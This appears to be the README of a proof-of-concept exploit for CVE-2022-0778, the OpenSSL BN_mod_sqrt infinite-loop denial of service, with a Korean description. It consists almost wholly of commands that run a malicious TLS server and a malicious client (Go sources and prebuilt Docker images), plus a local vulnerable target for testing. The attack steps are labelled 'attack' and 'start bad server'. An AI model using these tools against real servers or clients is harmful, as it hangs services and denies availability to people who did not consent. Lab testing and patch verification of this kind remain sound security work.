
CVE-2022-0778, OpenSSL의 BN_mod_sqrt에서 발생하는 서비스 거부 취약점에 대한 개념 증명 익스플로잇입니다. 취약한 TLS/HTTPS 연결에서 무한 루프를 유발하는 악성 서버 및 클라이언트 구현을 포함합니다.
go run server/main.go --addr 127.0.0.1:12345
cd test && test_server.sh
docker stat
cd test && test_client.sh
go run client/main.go --network tcp --addr 127.0.0.1:12345
docker stat
docker build -t cve-2022-0778 .
# start vulned server
docker pull yywing/cve-2022-0778-target
docker run -it --rm -p 12345:12345 yywing/cve-2022-0778-target python server.py
# attack
docker pull yywing/cve-2022-0778
docker run -it --rm --entrypoint badclient yywing/cve-2022-0778 --addr host.docker.internal:12345
# start bad server
docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
# use vulned client
docker run -it --rm yywing/cve-2022-0778-target python -c "import http.client;http.client.HTTPSConnection('host.docker.internal', 12345).request('GET', '/')"
# or
docker run -it --rm yywing/cve-2022-0778-target curl https://host.docker.internal:12345